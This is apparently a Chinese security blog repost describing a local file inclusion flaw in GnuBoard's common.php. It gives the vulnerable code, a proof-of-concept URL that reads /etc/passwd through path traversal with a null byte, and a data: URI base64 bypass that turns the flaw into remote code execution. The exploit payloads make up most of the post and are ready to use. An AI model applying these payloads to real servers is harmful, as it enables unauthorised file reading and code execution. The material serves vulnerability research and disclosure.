My5t3ry's blog

#my5t3ry:这个利用比较特别，记录一下

By Flyh4t

http://bbs.wolvez.org/

GnuBoard是韩国比较常见的一个论坛，存在较多的漏洞，其中common.php存在一个文件包含漏洞
看common.php代码<!–more–>

@extract($_GET);
@extract($_POST);
@extract($_SERVER);

……

if (!$g4_path || preg_match(“/:\/\//”, $g4_path))
die(“<meta http-equiv=’content-type’ content=’text/html; charset=$g4[charset]‘><script language=’JavaScript’> alert(‘肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.’); </script>”);

//if (!$g4_path) $g4_path = “.”;

$g4['path'] = $g4_path; //只限制了$g4_path不能有字符 ://

unset($g4_path);

include_once(“$g4[path]/lib/constant.php”);  //本地文件包含漏洞
include_once(“$g4[path]/config.php”);

POC:

http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00

———————————————————————————–
在Ryat牛的提示下，这个本地包含晋升为远程代码执行漏洞。
bypass_local.php

<?php
if (!$g4_path || preg_match(“/:\/\//”, $g4_path))
die(“fuck”);
$g4['path'] = $g4_path;
unset($g4_path);
include_once(“$g4[path]/lib/constant.php”);
?>

在allow_url_include = On且PHP >= 5.2.0的条件下
提交bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=
成功执行phpinfo()